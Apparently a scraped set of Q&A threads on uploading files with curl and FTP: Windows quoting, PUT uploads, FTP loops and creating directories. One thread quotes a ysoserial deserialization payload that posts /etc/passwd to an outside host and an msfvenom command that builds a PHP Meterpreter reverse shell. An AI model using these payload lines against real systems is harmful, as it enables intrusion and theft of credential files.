I'm trying to transfer a file with curl and it's getting created on the remote server, however the file contents are the path to the file instead of the actual contents of the file.
curl -x "poxy" --user user:pass --verbose -X PUT --data-binary "#D:\test.txt" "url/test.txt"
On the server, I see test.txt get created but the contents are:
D:\test.txt
On the local machine, the contents of the file are:
hello world
Note this is on cURL for windows if it matters.
Related
I am using SonarQube 5.1.2 on Windows 7 Professional. I am using Web Service API over cURL 7.32.0 (x86_64-pc-win32). I want to upload sonar.exclusions and few more such properties for a specific project using POST.
I use curl -u admin:admin -X POST http://localhost:9512/api/prop
erties/?id=sonar.exclusions -v -T "D:\sonar-exclusions.xml" and I am able to POST it as global sonar.exclusions.
Where as if I use resource to post it to a specific project with the command - curl -u admin:admin -X POST http://localhost:9512/api/prop
erties/?id=sonar.exclusions&resource=org.myProject:myProject -v -T "D:\sonar-exclusions.xml" I get the error {"err_code":200,"err_msg":"property created"}'resource' is not recognized as an
internal or external command, operable program or batch file
What's going wrong with the resource parameter here?
The problem is with the & in the URL, it's interperted by your command line prompt as: Let me run this command:
curl -u admin:admin -X POST http://localhost:9512/api/properties/?id=sonar.exclusions
and then run this command:
resource=org.myProject:myProject -v -T "D:\sonar-exclusions.xml"
The first one returns {"err_code":200,"err_msg":"property created"} while the second one is bound to fail with:
'resource' is not recognized as an internal or external command, operable program or batch file
You should either escape the & or simply put the URL between "quotes".
I want to path a file with generate Metasploit shell. It is like this:
java -jar ysoserial.jar CommonsCollections1 "curl -X POST -F file=#etc/passwd axample.com" | base64
like -F file in example, I want to path a file in command:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
This is just command I want to path a file. My file is a payload file (etc/payload). I don't know the command for doing this. I tried to find a tutorial, but couldn't.
As I understand, you are using msfvenom tool to generate a Meterpreter payload - the program that will run on the target host (in this case it will bring you command shell of the target host).
This payload is a part of Metasploit framework - a predefined program, not your custom script and you want to pass your file to it. If so, it all depends on the Meterpreter's parameters to pass anything to it. But it seems that there is no such option as just path a some file in Meterpreter.
In example with curl the -F option is recognized by cURL application and stands for HTTP Forms posting and directs web server for file uploading with given by property name file.
But what path to file you want to pass to the Meterpreter payload? What is your final goal? Now it looks like no sense for it.
UPDATE for you comment
The curl is a different application and they use -F option format implemented. In msfvenom use to pass variable CUSTOM1 the following form:
msfvenom -p <payload> LHOST=<...> LPORT=<...> CUSTOM1=<...> ...
I have an issue while I need from script to upload all files which stored in some directory. Every time I get this issue:
curl: (9) Server denied you to change to the given directory
#!/bin/sh
for file in /export/test/*
do
curl -T ${file} ftp://192.168.10.10/${file} --user tester:psswd
done
I checked vsftpd config and I have permissions to write/read and when I do it manually It runs.
for example when I run this command, everything is OK.
curl -T /export/test/testing.txt ftp://192.168.10.10/export/status/testing.txt --user tester:psswd
Have someone else also this problem?
I don't have any idea how to solve it, I tried everything.
By the way: My ftp root folder is /var/www/stats and I need to rewrite files in subfolders which is named: /var/www/stats/export/test.
FIXED
my bad: error is in that file variable putting full path to server and I put one more slash there.
so final conclusion is this:
#!/bin/sh
for file in /export/test/*
do
curl -T ${file} ftp://192.168.10.10${file} --user tester:psswd
done
It works. Done.
Using Bash scripting, I'm trying to upload the content of variable into an FTP server.
The variable is $HASHED and it contains some hashed password
echo $HASHED
The output of the above command is: M0eSl8NR40wH
I need to do the following:
Create a time/date stamped file in the FTP server (i.e. PASSWORD_18_02_2014)
The file needs to have the same content of the $HASHED value (i.e. the PASSWORD_18_02_2014 needs to have M0eSl8NR40wH inside it).
Trying Curl, I couldn't get it working using the following:
UPLOAD="curl -T $HASHED ftp://192.168.0.1/passwords/ --user username:password"
$UPLOAD
Your help is very much appreciated.
Something like this might help you (tested on Linux Mint 13):
#!/bin/bash
FILENAME=PASSWORD_`date +%d_%m_%Y`
echo $HASHED >$FILENAME
ftp -n your_ftp_site <<EOF
user your_user_name_on_the_ftp_server
put $FILENAME
EOF
rm $FILENAME
A few caveats:
You have to export HASHED, e.g. when you set it, set it like this: export HASHED=M0eSl8NR40wH
The above assumes you will be running this from a terminal and can type in your password when prompted
You may have to add some cd commands after the line that starts "user" and before the line that starts "put", depending on where you want to put the file on your ftp server
Don't forget to make the script executable:
chmod u+x your_command_script_name
You can code the password after the user name on the line that starts "user", but this leaves a big risk that someone can discover your password on the ftp server. At the very least, make the bash command script readable only by you:
chmod 700 your_command_script_name
Please try this:
HASHED="M0eSl8NR40wH"
echo "$HASHED" | curl --silent --show-error --upload-file \
-ftp://192.168.0.1/passwords/$(date +PASSWORD_%d_%m_%Y) --user username:password
Where:
--silent : prevents the progress bar
--show-error : shows errors if any
--upload-file - : get file from stdin
The target name is indicated as part of the URL
Background
I have been searching the Internet trying to find an example of --ftp-create-dirs.
Overall my goal is to use "--ftp-create-dirs" to automatically create the necessary folders if they are not present when I upload my file.
Problem
The problem is I don't know the exact syntax for properly using --ftp-create-dirs, can someone help me with this?
My current curl:
curl -k -T 000-0000-0000-000.png -u [username]:[pass] --ftp-create-dirs /test --ftp-ssl ftp:[ftp server]
In the example above, I am trying to upload the .png image and create /test on the ftp server if it does not exist.
To add a new directory via FTP:
curl ftp://username:password#10.10.10.10/homes/back/newdir/ --ftp-create-dirs
Just putting this in here for future reference (and because I keep making the same mistake that I just saw in your code): it is important to end your folder name with a / (slash). Otherwise, curl will create a file, not a folder. Here is the command I used:
curl -T path/to/local_file.txt ftp://1.2.3.4/my_new_folder/ --ftp-create-dirs -u username:password
This will move local_file.txt to my_new_folder on the FTP server. The folder will be created if it doesn't exist, otherwise, the command will simply be ignored.
If there are any issues with creating the folder, curl will return error number 9 (see https://curl.haxx.se/libcurl/c/libcurl-errors.html). This can happen if a file with the same name as the new folder already exists in the given directory:
curl: (9) Failed to MKD dir: 451
You don't need to use the /test after the --ftp-create-dirs. Its just a parameter similar to your -k(doesn't take any value) at the command.